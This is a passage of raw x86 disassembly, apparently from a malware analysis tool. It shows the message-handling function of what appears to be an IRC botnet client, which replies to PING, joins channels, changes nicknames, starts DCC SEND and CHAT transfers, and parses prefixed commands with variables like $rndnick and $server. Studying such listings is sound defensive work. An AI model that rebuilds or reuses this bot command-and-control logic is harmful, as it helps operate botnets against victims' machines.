-0E00h var_D80 = dword ptr -0D80h var_D7C = byte ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call sub_41BB20 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41B590 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41B5F0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401E94 push esi lea eax, [ebp+var_4488] push ebx push eax call sub_41B590 dec esi lea eax, [ebp+var_4488] push esi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push offset asc_42CA64 ; " :" push eax call sub_41B900 mov [ebp+var_C], eax lea eax, [ebp+var_4488] push esi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 mov esi, offset asc_42CA60 ; " " lea eax, [ebp+var_4AF0] push esi push eax call sub_41C0F4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401E94 cmp [ebp+var_8C], ebx jz loc_401E94 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41B5F0 lea eax, [ebp+var_C4] push offset asc_42CA5C ; "!" push eax call sub_41C0F4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409A2C mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a005 ; "005" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a302 ; "302" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41B5F0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40B08D add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401E9C mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42C9F0 push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409A2C lea eax, [ebp+var_2C4] push eax call sub_4151AC add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E94 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E89: ; CODE XREF: sub_401ACD+612j ; sub_401ACD+8D5j ... push [ebp+arg_4] call sub_409A2C loc_401E91: ; CODE XREF: sub_401ACD+253Bj ; sub_401ACD+2558j ... add esp, 10h loc_401E94: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401E96: ; CODE XREF: sub_401ACD+2A61j pop eax loc_401E97: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A83j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401E9C: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401FF2 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC5: ; CODE XREF: sub_401ACD+44Aj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F12 lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F12 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41BEB0 push [ebp+arg_1C] push edi call sub_41BEC0 add esp, 10h mov edi, 80h loc_401F12: ; CODE XREF: sub_401ACD+409j ; sub_401ACD+420j add esi, edi dec [ebp+arg_0] jnz short loc_401EC5 lea eax, [ebp+var_C4] test eax, eax jz loc_401E94 cmp [ebp+arg_24], ebx jz loc_401E94 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F5A push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41B5F0 loc_401F52: ; CODE XREF: sub_401ACD+1C35j add esp, 0Ch jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F5A: ; CODE XREF: sub_401ACD+476j mov edi, [ebp+arg_18] xor esi, esi loc_401F5F: ; CODE XREF: sub_401ACD+4B3j cmp [edi], bl jz short loc_401F76 lea eax, [ebp+var_E00] push eax push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_401F87 loc_401F76: ; CODE XREF: sub_401ACD+494j inc esi add edi, 80h cmp esi, 3 jl short loc_401F5F jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F87: ; CODE XREF: sub_401ACD+4A7j lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_401E94 push eax call sub_41AFE0 push [ebp+arg_24] mov edi, eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_401E94 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41B886 push ebx lea eax, [ebp+var_45EC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409A72 add esp, 24h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401FF2: ; CODE XREF: sub_401ACD+3DEj push esi push offset aPart ; "PART" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402014 push esi push offset aQuit ; "QUIT" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40203B loc_402014: ; CODE XREF: sub_401ACD+534j mov edi, [ebp+arg_18] xor esi, esi loc_402019: ; CODE XREF: sub_401ACD+56Cj cmp [edi], bl jz short loc_40202F push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402083 loc_40202F: ; CODE XREF: sub_401ACD+54Ej inc esi add edi, 80h cmp esi, 3 jl short loc_402019 loc_40203B: ; CODE XREF: sub_401ACD+545j push [ebp+var_8C] push offset a353 ; "353" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4020E4 push [ebp+var_80] push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40206F mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40206F: ; CODE XREF: sub_401ACD+597j push [ebp+var_80] push offset unk_42C99C loc_402077: ; CODE XREF: sub_401ACD+28CCj ; sub_401ACD+2C4Cj ... call sub_415220 loc_40207C: ; CODE XREF: sub_401ACD+1BE1j pop ecx loc_40207D: ; CODE XREF: sub_401ACD+7B6Fj pop ecx jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402083: ; CODE XREF: sub_401ACD+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C978 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+var_8C] push offset aPart ; "PART" call sub_41C070 add esp, 18h test eax, eax jnz loc_401E94 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4020E4: ; CODE XREF: sub_401ACD+582j push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C070 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push offset dword_42C964 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 cmp dword_429088, ebx jz loc_409854 loc_402138: ; CODE XREF: sub_401ACD+631j ; sub_401ACD+643j push [ebp+var_8C] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_40217C: ; CODE XREF: sub_401ACD+8ADj ; sub_401ACD+8E9j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42C95C mov [ebp+arg_8], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402557 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40241E cmp [ebp+var_A4], ebx jz loc_4023F7 push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B80] push edi push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_1B94] push [ebp+esi+var_84] push edi push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A7C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+var_2C4] push offset unk_42C920 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset loc_4161BC push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz loc_4023E6 loc_4022A8: ; CODE XREF: sub_401ACD+7EFj cmp [ebp+var_19EC], ebx jnz loc_4083BC push 32h call near ptr 2670F10h nop jmp short loc_4022A8 ; --------------------------------------------------------------------------- loc_4022BE: ; CODE XREF: sub_401ACD+67Bj ; sub_401ACD+691j push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4022D7 mov [ebp+var_4], 1 loc_4022D7: ; CODE XREF: sub_401ACD+801j cmp [ebp+var_88], ebx jz loc_401E94 push offset dword_42C91C push [ebp+var_88] call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4022FE cmp [ebp+var_4], ebx jz short loc_40230A loc_4022FE: ; CODE XREF: sub_401ACD+82Aj lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_40230A: ; CODE XREF: sub_401ACD+82Fj cmp [ebp+var_84], ebx jz loc_401E94 inc [ebp+var_84] jz short loc_402356 cmp [ebp+arg_10], ebx jz short loc_402356 lea eax, [ebp+var_338] push eax call sub_41AFE0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41BE70 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40235C ; --------------------------------------------------------------------------- loc_402356: ; CODE XREF: sub_401ACD+84Fj ; sub_401ACD+854j mov esi, [ebp+var_AC] loc_40235C: ; CODE XREF: sub_401ACD+887j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401E94 push edi push offset dword_42C910 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_4023A7 mov eax, dword_4CAE58 mov eax, off_429164[eax*4] cmp [eax], bl jz short loc_4023A7 push eax push ecx push offset dword_42C8F4 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023A7: ; CODE XREF: sub_401ACD+8BCj ; sub_401ACD+8CCj push edi push offset dword_42C8EC call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_40217C push eax push ecx push offset dword_42C8D4 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023E6: ; CODE XREF: sub_401ACD+7D5j ; sub_401ACD+7852j nop call near ptr 26807C8h push eax push offset unk_42C898 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4023F7: ; CODE XREF: sub_401ACD+6F9j lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42C854 loc_40240A: ; CODE XREF: sub_401ACD+7E29j ; sub_401ACD+7E90j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 10h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_40241E: ; CODE XREF: sub_401ACD+6EDj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40256D cmp [ebp+var_A4], ebx jz loc_402546 push 1Bh call sub_40B33E test eax, eax pop ecx jnz loc_402535 push [ebp+esi+var_84] lea eax, [ebp+var_2AA8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_2910], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2990] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C82C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset byte_415C59 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_402524 loc_40250E: ; CODE XREF: sub_401ACD+A55j cmp [ebp+var_2900], ebx jnz loc_4083BC push 32h call near ptr 2670F10h nop jmp short loc_40250E ; --------------------------------------------------------------------------- loc_402524: ; CODE XREF: sub_401ACD+A3Fj nop call near ptr 26807C8h push eax push offset unk_42C7F4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402535: ; CODE XREF: sub_401ACD+982j lea eax, [ebp+var_C4] push eax push offset unk_42C7C4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402546: ; CODE XREF: sub_401ACD+972j lea eax, [ebp+var_C4] push eax push offset unk_42C790 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402557: ; CODE XREF: sub_401ACD+6D2j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401E94 loc_40256D: ; CODE XREF: sub_401ACD+966j mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aK ; "k" push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C push [ebp+arg_8] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C cmp [ebp+var_A4], ebx jnz short loc_4025BD push [ebp+var_8C] push offset dword_42C964 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 loc_4025BD: ; CODE XREF: sub_401ACD+AD4j cmp [ebp+arg_28], ebx jnz loc_409854 xor edi, edi cmp dword_42923C, ebx jle loc_402772 mov [ebp+arg_20], offset dword_43D160 loc_4025DB: ; CODE XREF: sub_401ACD+B2Dj push [ebp+arg_8] push [ebp+arg_20] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402601 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_42923C jl short loc_4025DB jmp loc_402772 ; --------------------------------------------------------------------------- loc_402601: ; CODE XREF: sub_401ACD+B1Dj push offset asc_42CA64 ; " :" push [ebp+arg_0] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43D178[edi] push 9Fh add eax, 4 push ecx push eax call sub_41B5F0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402656: ; CODE XREF: sub_401ACD+C3Aj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_1 ; "$%d-" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_4026C2 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026C2 lea eax, dword_43D160[edi] push eax call sub_41AFE0 add [ebp+var_C], eax pop ecx jz short loc_4026FD mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4026FD push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch jmp short loc_4026FD ; --------------------------------------------------------------------------- loc_4026C2: ; CODE XREF: sub_401ACD+BB1j ; sub_401ACD+BB8j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026FD lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41B5F0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 18h loc_4026FD: ; CODE XREF: sub_401ACD+BCAj ; sub_401ACD+BDEj ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402656 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_40271A: ; CODE XREF: sub_401ACD+C99j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_40275D mov eax, [edi] cmp eax, ebx jz short loc_40275D push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch loc_40275D: ; CODE XREF: sub_401ACD+C75j ; sub_401ACD+C7Bj dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40271A mov [ebp+var_2C8], 1 loc_402772: ; CODE XREF: sub_401ACD+B01j ; sub_401ACD+B2Fj mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_40278B cmp [ebp+var_2C8], ebx jz loc_40297C loc_40278B: ; CODE XREF: sub_401ACD+CB0j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_417EEE lea eax, [ebp+var_C4] push eax push offset aUser_0 ; "$user" push edi call sub_417EEE push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_417EEE push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_417EEE add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_417EEE mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41B900 add esp, 14h loc_4027FD: ; CODE XREF: sub_401ACD+E28j test eax, eax jz loc_4028FA push edi push [ebp+arg_0] call sub_41B900 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41B5F0 lea eax, [ebp+var_A0] push offset asc_42C74C ; ")" push eax call sub_41C0F4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_402849 cmp [ebp+var_A0], 39h jle short loc_40285F loc_402849: ; CODE XREF: sub_401ACD+D71j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41B5F0 add esp, 0Ch loc_40285F: ; CODE XREF: sub_401ACD+D7Aj lea eax, [ebp+var_A0] push eax call sub_41B779 test eax, eax pop ecx jle short loc_402885 lea eax, [ebp+var_A0] push eax call sub_41B779 pop ecx mov [ebp+var_94], al jmp short loc_402899 ; --------------------------------------------------------------------------- loc_402885: ; CODE XREF: sub_401ACD+DA1j call sub_41B8E2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_402899: ; CODE XREF: sub_401ACD+DB6j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41AFE0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41B590 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE push edi push [ebp+arg_0] call sub_41B900 add esp, 30h jmp loc_4027FD ; --------------------------------------------------------------------------- loc_4028FA: ; CODE XREF: sub_401ACD+D32j mov edi, 1FFh lea eax, [ebp+var_4488] push edi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push edi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 